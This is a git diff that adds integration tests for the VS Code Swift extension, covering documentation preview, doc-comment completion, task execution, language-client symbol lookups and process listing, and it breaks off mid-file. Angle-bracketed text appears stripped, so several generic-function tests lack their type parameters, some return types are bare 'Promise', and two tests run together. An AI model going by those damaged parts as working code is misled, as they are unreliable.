mode 100644 index 000000000..9f7b60735 --- /dev/null +++ b/test/integration-tests/documentation/DocumentationLivePreview.test.ts @@ -0,0 +1,220 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as path from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { Commands } from "@src/commands"; +import { PreviewEditorConstant } from "@src/documentation/DocumentationPreviewEditor"; +import { RenderNodeContent, WebviewContent } from "@src/documentation/webview/WebviewMessage"; +import { Workbench } from "@src/utilities/commands"; + +import { testAssetUri } from "../../fixtures"; +import { tag } from "../../tags"; +import { waitForNoRunningTasks } from "../../utilities/tasks"; +import { activateExtensionForSuite, folderInRootWorkspace } from "../utilities/testutilities"; + +tag("medium").suite("Documentation Live Preview", function () { + let folderContext: FolderContext; + let workspaceContext: WorkspaceContext; + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + await waitForNoRunningTasks(); + folderContext = await folderInRootWorkspace("documentation-live-preview", ctx); + await ctx.focusFolder(folderContext); + }, + }); + + setup(function () { + if (!workspaceContext.contextKeys.supportsDocumentationLivePreview) { + this.skip(); + } + }); + + teardown(async function () { + await vscode.commands.executeCommand(Workbench.ACTION_CLOSEALLEDITORS); + }); + + test("renders documentation for an opened Swift file", async function () { + const { webviewContent } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.swift", + position: new vscode.Position(0, 0), + }); + expect(renderNodeString(webviewContent)).to.include( + "The entry point for this arbitrary library." + ); + }); + + test("renders documentation when moving the cursor within an opened Swift file", async function () { + const { textEditor } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.swift", + position: new vscode.Position(0, 0), + }); + // Move the cursor to the comment above EntryPoint.name + let webviewContent = await moveCursor(workspaceContext, { + textEditor, + position: new vscode.Position(7, 12), + }); + expect(renderNodeString(webviewContent)).to.include("The name of this EntryPoint"); + // Move the cursor to the comment above EntryPoint.init(name:) + webviewContent = await moveCursor(workspaceContext, { + textEditor, + position: new vscode.Position(10, 18), + }); + expect(renderNodeString(webviewContent)).to.include("Creates a new EntryPoint"); + }); + + test("renders documentation when editing an opened Swift file", async function () { + const { textEditor } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.swift", + position: new vscode.Position(0, 0), + }); + // Edit the comment above EntryPoint + const webviewContent = await editDocument(workspaceContext, textEditor, editBuilder => { + editBuilder.replace(new vscode.Selection(3, 29, 3, 38), "absolutely amazing"); + }); + expect(renderNodeString(webviewContent)).to.include( + "The entry point for this absolutely amazing library." + ); + }); + + test("renders documentation for an opened Markdown article", async function () { + const { webviewContent } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.docc/GettingStarted.md", + position: new vscode.Position(0, 0), + }); + expect(renderNodeString(webviewContent)).to.include("This is the getting started page."); + }); + + test("renders documentation for an opened tutorial overview", async function () { + const { webviewContent } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.docc/TutorialOverview.tutorial", + position: new vscode.Position(0, 0), + }); + expect(renderNodeString(webviewContent)).to.include("Library Tutorial Overview"); + }); + + test("renders documentation for an opened tutorial", async function () { + const { webviewContent } = await launchLivePreviewEditor(workspaceContext, { + filePath: "Sources/Library/Library.docc/Tutorial.tutorial", + position: new vscode.Position(0, 0), + }); + expect(renderNodeString(webviewContent)).to.include("Library Tutorial"); + }); + + test("displays an error for an unsupported active document", async function () { + const { webviewContent } = await launchLivePreviewEditor(workspaceContext, { + filePath: "UnsupportedFile.txt", + position: new vscode.Position(0, 0), + }); + expect(webviewContent).to.have.property("type").that.equals("error"); + expect(webviewContent) + .to.have.property("errorMessage") + .that.equals(PreviewEditorConstant.UNSUPPORTED_EDITOR_ERROR_MESSAGE); + }); +}); + +async function launchLivePreviewEditor( + workspaceContext: WorkspaceContext, + options: { + filePath: string; + position: vscode.Position; + } +): Promise<{ textEditor: vscode.TextEditor; webviewContent: WebviewContent }> { + if (findTab(PreviewEditorConstant.VIEW_TYPE, PreviewEditorConstant.TITLE)) { + throw new Error("The live preview editor cannot be launched twice in a single test"); + } + const contentUpdatePromise = waitForNextContentUpdate(workspaceContext); + const renderedPromise = waitForNextRender(workspaceContext); + // Open up the test file before launching live preview + const fileUri = testAssetUri(path.join("documentation-live-preview", options.filePath)); + const selection = new vscode.Selection(options.position, options.position); + const textEditor = await vscode.window.showTextDocument(fileUri, { selection: selection }); + // Launch the documentation preview and wait for it to render + expect(await vscode.commands.executeCommand(Commands.PREVIEW_DOCUMENTATION)).to.be.true; + const [webviewContent] = await Promise.all([contentUpdatePromise, renderedPromise]); + return { textEditor, webviewContent }; +} + +async function editDocument( + workspaceContext: WorkspaceContext, + textEditor: vscode.TextEditor, + callback: (editBuilder: vscode.TextEditorEdit) => void +): Promise { + const contentUpdatePromise = waitForNextContentUpdate(workspaceContext); + const renderedPromise = waitForNextRender(workspaceContext); + await expect(textEditor.edit(callback)).to.eventually.be.true; + const [webviewContent] = await Promise.all([contentUpdatePromise, renderedPromise]); + return webviewContent; +} + +async function moveCursor( + workspaceContext: WorkspaceContext, + options: { + textEditor: vscode.TextEditor; + position: vscode.Position; + } +): Promise { + const contentUpdatePromise = waitForNextContentUpdate(workspaceContext); + const renderedPromise = waitForNextRender(workspaceContext); + options.textEditor.selection = new vscode.Selection(options.position, options.position); + const [webviewContent] = await Promise.all([contentUpdatePromise, renderedPromise]); + return webviewContent; +} + +function renderNodeString(webviewContent: WebviewContent): string { + expect(webviewContent).to.have.property("type").that.equals("render-node"); + return JSON.stringify((webviewContent as RenderNodeContent).renderNode); +} + +function waitForNextContentUpdate(context: WorkspaceContext): Promise { + return new Promise(resolve => { + const disposable = context.documentation.onPreviewDidUpdateContent( + (content: WebviewContent) => { + resolve(content); + disposable.dispose(); + } + ); + }); +} + +function waitForNextRender(context: WorkspaceContext): Promise { + return new Promise(resolve => { + const disposable = context.documentation.onPreviewDidRenderContent(() => { + resolve(true); + disposable.dispose(); + }); + }); +} + +function findTab(viewType: string, title: string): vscode.Tab | undefined { + for (const group of vscode.window.tabGroups.all) { + for (const tab of group.tabs) { + // Check if the tab is of type TabInputWebview and matches the viewType and title + if ( + tab.input instanceof vscode.TabInputWebview && + tab.input.viewType.includes(viewType) && + tab.label === title + ) { + // We are not checking if tab is active, so return true as long as the if clause is true + return tab; + } + } + } + return undefined; +} diff --git a/test/integration-tests/editor/CommentCompletion.test.ts b/test/integration-tests/editor/CommentCompletion.test.ts new file mode 100644 index 000000000..5ec93eede --- /dev/null +++ b/test/integration-tests/editor/CommentCompletion.test.ts @@ -0,0 +1,589 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2023 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as vscode from "vscode"; + +import { CommentCompletionProviders } from "@src/editor/CommentCompletion"; +import { Workbench } from "@src/utilities/commands"; + +suite("CommentCompletion Test Suite", () => { + let provider: CommentCompletionProviders; + + setup(() => { + provider = new CommentCompletionProviders(); + }); + + teardown(async () => { + provider.dispose(); + await vscode.commands.executeCommand(Workbench.ACTION_CLOSEALLEDITORS); + }); + + suite("Function Comment Completion", () => { + test("Completion on line that isn't a comment", async () => { + const { document, positions } = await openDocument(` + 1️⃣ + func foo() {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, undefined); + }); + + test("Comment completion on line that isn't a function", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + let x = 1`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, undefined); + }); + + test("Comment completion on func with no argument, no return should have no completions", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo() {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, undefined); + }); + + test("Comment completion on single argument function, no return should have a completion", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(bar: Int) {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter bar: $2`), + ]); + }); + + test("Comment completion on single argument function, with return should have a completion", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(bar: Int) -> Int { return 0 }`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter bar: $2 +/// - Returns: $3`), + ]); + }); + + test("Comment completion on a throwing function", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo() throws {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Throws: $2`), + ]); + }); + + test("Comment completion on single argument throwing function", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(bar: Int) throws {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter bar: $2 +/// - Throws: $3`), + ]); + }); + + test("Comment completion on complex function", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(bar: Int, baz: String) -> Data throws { return Data() }`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem( + ` $1 +/// - Parameters: +/// - bar: $2 +/// - baz: $3 +/// - Returns: $4` + ), + ]); + }); + + test("Comment completion on complex typed throwing function", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(bar: Int, baz: String) -> Data throws(MyError) { return Data() }`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem( + ` $1 +/// - Parameters: +/// - bar: $2 +/// - baz: $3 +/// - Returns: $4` + ), + ]); + }); + + test("Comment completion on function with default parameter using #function", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(f: String = #function) {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter f: $2`), + ]); + }); + + test("Comment completion on function with parameter named 'func'", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(func: String) {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter func: $2`), + ]); + }); + + test("Comment completion on function with function and parameter named 'func' and #function default, returning function type", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + public func \`func\`(func: #function) -> function {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter func: $2 +/// - Returns: $3`), + ]); + }); + + test("Comment insertion", async function () { + if (process.platform === "linux") { + // Linux tests are having issues with open text editors + this.skip(); + } + + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(bar: Int, baz: String) -> Data throws { return Data() }`); + const position = positions["1️⃣"]; + + const editor = await vscode.window.showTextDocument(document); + await provider.insert(editor, position.line + 1); + + assert.deepEqual( + editor.document.getText(), + ` + /// ! + /// ! + /// - Parameters: + /// - bar: ! + /// - baz: ! + /// - Returns: ! + func foo(bar: Int, baz: String) -> Data throws { return Data() }`.replace(/!/g, "") + ); // ! ensures trailing white space is not trimmed when this file is formatted. + }); + + suite("Function Comment Completion - Edge Cases", () => { + test("Comment completion on generic function", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(bar: T) -> T { return bar }`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter bar: $2 +/// - Returns: $3`), + ]); + }); + + test("Comment completion on generic function with multiple type parameters", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(bar: T, baz: U) -> T { return bar }`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameters: +/// - bar: $2 +/// - baz: $3 +/// - Returns: $4`), + ]); + }); + + test("Comment completion on generic function with constraints", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(bar: T) -> T { return bar }`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter bar: $2 +/// - Returns: $3`), + ]); + }); + + test("Comment completion on malformed function - no function name", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func (bar: Int) {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter bar: $2`), + ]); + }); + + test("Comment completion on malformed function - no parameter name", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(: Int) {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter : $2`), + ]); + }); + + test("Comment completion on malformed function - unclosed parameter list", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo(bar: Int`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, undefined); + }); + + test("Comment completion on malformed generic function - unclosed generic list", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + func foo { + const { document, positions } = await openDocument(` + /// 1️⃣ + init(bar: Int) {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter bar: $2`), + ]); + }); + + test("Comment completion on throwing init method", async () => { + const { document, positions } = await openDocument(` + /// 1️⃣ + init(bar: Int) throws {}`); + const position = positions["1️⃣"]; + + const items = await provider.functionCommentCompletion.provideCompletionItems( + document, + position + ); + assert.deepEqual(items, [ + expectedCompletionItem(` $1 +/// - Parameter bar: $2 +/// - Throws: $3`), + ]); + }); + }); + }); + + suite("Document Comment Completion", function () { + test("Should not provide completions on first line", async () => { + const { document, positions } = await openDocument(`1️⃣ + public func foo() {}`); + + const position = positions["1️⃣"]; + const items = await provider.docCommentCompletion.provideCompletionItems( + document, + position + ); + + assert.strictEqual(items, undefined, "Should not provide completions on first line"); + }); + + test("Should not provide completions when previous line is not a comment", async () => { + const { document, positions } = await openDocument(` + public func bar() {} + 1️⃣ + public func foo() {}`); + + const position = positions["1️⃣"]; + const items = await provider.docCommentCompletion.provideCompletionItems( + document, + position + ); + + assert.strictEqual( + items, + undefined, + "Should not provide completions when previous line is not a comment" + ); + }); + + test("Should continue a documentation comment block on new line", async () => { + const { document, positions } = await openDocument(` +/// aaa +1️⃣ +public func foo() {}`); + + const position = positions["1️⃣"]; + await provider.docCommentCompletion.provideCompletionItems(document, position); + + const newLine = document.lineAt(position.line).text; + + assert.strictEqual(newLine, "/// ", "New line should continue the comment block"); + }); + + test("Should continue a documentation comment when an existing comment line is split", async () => { + const { document, positions } = await openDocument(` +/// aaa +1️⃣// bbb +public func foo() {}`); + + const position = positions["1️⃣"]; + await provider.docCommentCompletion.provideCompletionItems(document, position); + + const newLine = document.lineAt(position.line).text; + + assert.strictEqual(newLine, "/// bbb", "New line should continue the comment block"); + }); + + test("Should not continue a comment on a line that has content", async () => { + const { document, positions } = await openDocument(` + /// aaa + public func foo(param: Int, a1️⃣) {}`); + + const originalText = document.getText(); + const position = positions["1️⃣"]; + await provider.docCommentCompletion.provideCompletionItems(document, position); + + const documentText = document.getText(); + + assert.deepEqual(documentText, originalText, "Document text should not change"); + }); + + test("Should handle when previous line has // but not ///", async () => { + const { document, positions } = await openDocument(` + // aaa + 1️⃣ + public func foo() {}`); + + const position = positions["1️⃣"]; + const items = await provider.docCommentCompletion.provideCompletionItems( + document, + position + ); + + assert.strictEqual( + items, + undefined, + "Should not provide completions when previous line is not a doc comment" + ); + }); + + test("Should handle when line has content after //", async () => { + const { document, positions } = await openDocument(` + /// aaa + 1️⃣// bbb + public func foo() {}`); + + const position = positions["1️⃣"]; + + const items = await provider.docCommentCompletion.provideCompletionItems( + document, + position + ); + + // Check that the line was modified + const lineText = document.lineAt(position.line).text; + assert.strictEqual(lineText.trim(), "/// bbb", "Should convert // to ///"); + + assert.ok(items, "Should provide completions"); + assert.strictEqual(items.length, 1, "Should provide one completion"); + }); + + test("Should handle when line has no match for comment continuation", async () => { + const { document, positions } = await openDocument(` + /// aaa + 1️⃣let x = 1 + public func foo() {}`); + + const position = positions["1️⃣"]; + + const originalText = document.getText(); + const items = await provider.docCommentCompletion.provideCompletionItems( + document, + position + ); + + // Document should not be modified + assert.strictEqual(document.getText(), originalText, "Document should not be modified"); + + assert.ok(items, "Should provide completions"); + assert.strictEqual(items.length, 1, "Should provide one completion"); + }); + }); + + function expectedCompletionItem(snippet: string): vscode.CompletionItem { + const expected = new vscode.CompletionItem( + "/// - parameters:", + vscode.CompletionItemKind.Text + ); + expected.detail = "Function documentation comment"; + expected.insertText = new vscode.SnippetString(snippet); + expected.sortText = undefined; + return expected; + } + + async function openDocument(content: string): Promise<{ + document: vscode.TextDocument; + positions: { [key: string]: vscode.Position }; + }> { + function positionOf(str: string, content: string): vscode.Position | undefined { + const lines = content.split("\n"); + const line = lines.findIndex(line => line.includes(str)); + if (line === -1) { + return; + } + + return new vscode.Position(line, lines[line].indexOf(str)); + } + + let purgedContent = content; + const needles = ["1️⃣", "2️⃣", "3️⃣", "4️⃣"]; + + // Find all the needles, capture their positions and then remove them from + // the document before creating a vscode.TextDocument. + const positions = needles.reduce( + (prev, needle) => { + const pos = positionOf(needle, content); + if (pos) { + purgedContent = purgedContent.replace(needle, ""); + prev[needle] = pos; + } + return prev; + }, + {} as { [key: string]: vscode.Position } + ); + + const doc = await vscode.workspace.openTextDocument({ + language: "swift", + content: purgedContent, + }); + + return { document: doc, positions }; + } +}); diff --git a/test/integration-tests/extension.test.ts b/test/integration-tests/extension.test.ts new file mode 100644 index 000000000..c64e478fd --- /dev/null +++ b/test/integration-tests/extension.test.ts @@ -0,0 +1,52 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2022 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { expect } from "chai"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { getBuildAllTask } from "@src/tasks/SwiftTaskProvider"; + +import { activateExtensionForTest, findWorkspaceFolder } from "./utilities/testutilities"; + +suite("Extension Test Suite", function () { + let workspaceContext: WorkspaceContext; + + activateExtensionForTest({ + async setup(ctx) { + workspaceContext = ctx; + }, + }); + + suite("Workspace", function () { + /** Verify tasks.json is being loaded */ + test("Tasks.json", async () => { + const folder = findWorkspaceFolder("defaultPackage", workspaceContext); + assert.ok(folder); + const buildAllTask = await getBuildAllTask(folder); + const execution = buildAllTask.execution as SwiftExecution; + expect(buildAllTask.definition.type).to.equal("swift"); + expect(buildAllTask.name).to.include( + "Build All (defaultPackage)" + + (vscode.workspace.workspaceFile ? " (workspace)" : "") + ); + for (const arg of ["build", "--build-tests", "--verbose"].concat([ + vscode.workspace.workspaceFile ? "-DBAR" : "-DFOO", + ])) { + assert.ok(execution?.args.find(item => item === arg)); + } + }); + }); +}); diff --git a/test/integration-tests/language/LanguageClientIntegration.test.ts b/test/integration-tests/language/LanguageClientIntegration.test.ts new file mode 100644 index 000000000..5e8e0ded4 --- /dev/null +++ b/test/integration-tests/language/LanguageClientIntegration.test.ts @@ -0,0 +1,126 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; +import * as langclient from "vscode-languageclient/node"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { LanguageClientManager } from "@src/sourcekit-lsp/LanguageClientManager"; +import { createBuildAllTask } from "@src/tasks/SwiftTaskProvider"; + +import { testAssetUri } from "../../fixtures"; +import { tag } from "../../tags"; +import { executeTaskAndWaitForResult, waitForNoRunningTasks } from "../../utilities/tasks"; +import { waitForClientState } from "../utilities/lsputilities"; +import { activateExtensionForSuite, folderInRootWorkspace } from "../utilities/testutilities"; + +async function buildProject(ctx: WorkspaceContext, name: string) { + await waitForNoRunningTasks(); + const folderContext = await folderInRootWorkspace(name, ctx); + const task = await createBuildAllTask(folderContext); + task.definition.dontTriggerTestDiscovery = true; + const { exitCode, output } = await executeTaskAndWaitForResult(task); + expect(exitCode, `${output}`).to.equal(0); + return folderContext; +} + +tag("large").suite("Language Client Integration Suite", function () { + let clientManager: LanguageClientManager; + let folderContext: FolderContext; + + activateExtensionForSuite({ + async setup(ctx) { + if (process.platform === "win32") { + this.skip(); + return; + } + folderContext = await buildProject(ctx, "defaultPackage"); + + // Ensure lsp client is ready + clientManager = ctx.languageClientManager.get(folderContext); + await clientManager.restart(); + await waitForClientState(clientManager, langclient.State.Running); + await clientManager.waitForIndex(); + }, + }); + + setup(async () => { + await clientManager.waitForIndex(); + }); + + suite("Symbols", () => { + const uri = testAssetUri("defaultPackage/Sources/PackageExe/main.swift"); + const expectedDefinitionUri = testAssetUri( + "defaultPackage/Sources/PackageLib/PackageLib.swift" + ); + const snippetUri = testAssetUri("defaultPackage/Snippets/hello.swift"); + // Position of the symbol 'a' in main.swift + const position = new vscode.Position(2, 6); + + test("Goto Definition", async function () { + // Focus on the file of interest + const editor = await vscode.window.showTextDocument(uri); + const document = editor.document; + + // Position of the symbol 'a' in main.swift + const definitionLocations = await vscode.commands.executeCommand( + "vscode.executeDefinitionProvider", + document.uri, + position + ); + + expect(definitionLocations).to.have.lengthOf( + 1, + "There should be one definition of 'a'." + ); + + const definition = definitionLocations[0]; + + // Assert that the definition is in PackageLib.swift at line 0 + expect(definition.uri.toString()).to.equal(expectedDefinitionUri.toString()); + expect(definition.range.start.line).to.equal(0); + }); + + test("Find All References", async function () { + // Focus on the file of interest + const editor = await vscode.window.showTextDocument(uri); + const document = editor.document; + + const referenceLocations = await vscode.commands.executeCommand( + "vscode.executeReferenceProvider", + document.uri, + position + ); + + // We expect 3 references - in `main.swift`, in `PackageLib.swift` and in `hello.swift` + expect(referenceLocations).to.have.lengthOf( + 3, + "There should be three references to 'a'." + ); + + // Extract reference URIs and sort them to have a predictable order + const referenceUris = referenceLocations.map(ref => ref.uri.toString()); + const expectedUris = [ + snippetUri.toString(), + uri.toString(), // Reference in main.swift + expectedDefinitionUri.toString(), // Reference in PackageLib.swift + ]; + + for (const uri of expectedUris) { + expect(referenceUris).to.contain(uri); + } + }); + }); +}); diff --git a/test/integration-tests/process-list/processList.test.ts b/test/integration-tests/process-list/processList.test.ts new file mode 100644 index 000000000..b2d846e30 --- /dev/null +++ b/test/integration-tests/process-list/processList.test.ts @@ -0,0 +1,60 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as path from "path"; + +import { Process, createProcessList } from "@src/process-list"; + +suite("ProcessList Tests", () => { + function expectProcessName(processes: Process[], command: string) { + expect( + processes.findIndex(proc => path.basename(proc.command) === command), + `Expected the list of processes to include '${command}':\n ${processes.map(proc => `${proc.id} - ${path.basename(proc.command)}`).join("\n")}\n\n` + ).to.be.greaterThanOrEqual(0); + } + + test("retreives the list of available processes", async function () { + // We can guarantee that certain VS Code processes will be present during tests + const processes = await createProcessList().listAllProcesses(); + let processNameDarwin: string = "Code"; + let processNameWin32: string = "Code"; + let processNameLinux: string = "code"; + if (process.env["VSCODE_VERSION"] === "insiders") { + processNameDarwin = "Code - Insiders"; + processNameWin32 = "Code - Insiders"; + processNameLinux = "code-insiders"; + } + if (process.env["REMOTE_CONTAINERS"] === "true") { + processNameDarwin = "node"; + processNameWin32 = "node"; + processNameLinux = "node"; + } + switch (process.platform) { + case "darwin": + expectProcessName(processes, `${processNameDarwin} Helper`); + expectProcessName(processes, `${processNameDarwin} Helper (GPU)`); + expectProcessName(processes, `${processNameDarwin} Helper (Plugin)`); + expectProcessName(processes, `${processNameDarwin} Helper (Renderer)`); + break; + case "win32": + expectProcessName(processes, `${processNameWin32}.exe`); + break; + case "linux": + expectProcessName(processes, `${processNameLinux}`); + break; + default: + this.skip(); + } + }); +}); diff --git a/test/integration-tests/tasks/SwiftExecution.test.ts b/test/integration-tests/tasks/SwiftExecution.test.ts new file mode 100644 index 000000000..3efb75310 --- /dev/null +++ b/test/integration-tests/tasks/SwiftExecution.test.ts @@ -0,0 +1,63 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import * as vscode from "vscode"; + +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; + +import { testSwiftTask } from "../../fixtures"; +import { executeTaskAndWaitForResult, waitForStartTaskProcess } from "../../utilities/tasks"; +import { activateExtensionForSuite } from "../utilities/testutilities"; + +suite("SwiftExecution Tests Suite", () => { + let workspaceContext: WorkspaceContext; + let toolchain: SwiftToolchain; + let workspaceFolder: vscode.WorkspaceFolder; + + activateExtensionForSuite({ + async setup(ctx) { + workspaceContext = ctx; + toolchain = await SwiftToolchain.create( + workspaceContext.extensionContext.extensionPath + ); + assert.notEqual(workspaceContext.folders.length, 0); + workspaceFolder = workspaceContext.folders[0].workspaceFolder; + }, + }); + + test("Close event handler fires", async () => { + const fixture = testSwiftTask("swift", ["build"], workspaceFolder, toolchain); + const promise = executeTaskAndWaitForResult(fixture); + fixture.process.close(1); + const { exitCode } = await promise; + assert.equal(exitCode, 1); + }); + + test("Write event handler fires", async () => { + const fixture = testSwiftTask("swift", ["build"], workspaceFolder, toolchain); + const startPromise = waitForStartTaskProcess(fixture.task); + const promise = executeTaskAndWaitForResult(fixture); + await startPromise; + fixture.process.write("Fetching some dependency"); + fixture.process.write("[5/7] Building main.swift"); + fixture.process.write("Build complete"); + fixture.process.close(0); + const { output } = await promise; + assert.equal( + output, + "Fetching some dependency\n[5/7] Building main.swift\nBuild complete\n" + ); + }); +}); diff --git a/test/integration-tests/tasks/SwiftPluginTaskProvider.test.ts b/test/integration-tests/tasks/SwiftPluginTaskProvider.test.ts new file mode 100644 index 000000000..9371e6eb7 --- /dev/null +++ b/test/integration-tests/tasks/SwiftPluginTaskProvider.test.ts @@ -0,0 +1,310 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as assert from "assert"; +import { expect } from "chai"; +import { afterEach, beforeEach } from "mocha"; +import * as vscode from "vscode"; + +import { FolderContext } from "@src/FolderContext"; +import { WorkspaceContext } from "@src/WorkspaceContext"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { SwiftPluginTaskProvider } from "@src/tasks/SwiftPluginTaskProvider"; +import { SwiftTask } from "@src/tasks/SwiftTaskProvider"; + +import { tag } from "../../tags"; +import { + cleanOutput, + executeTaskAndWaitForResult, + waitForEndTaskProcess, +} from "../../utilities/tasks"; +import { mutable } from "../../utilities/types"; +import { + activateExtensionForSuite, + folderInRootWorkspace, + updateSettings, +} from "../utilities/testutilities"; + +tag("medium").suite("SwiftPluginTaskProvider Test Suite", function () { + let workspaceContext: WorkspaceContext; + let folderContext: 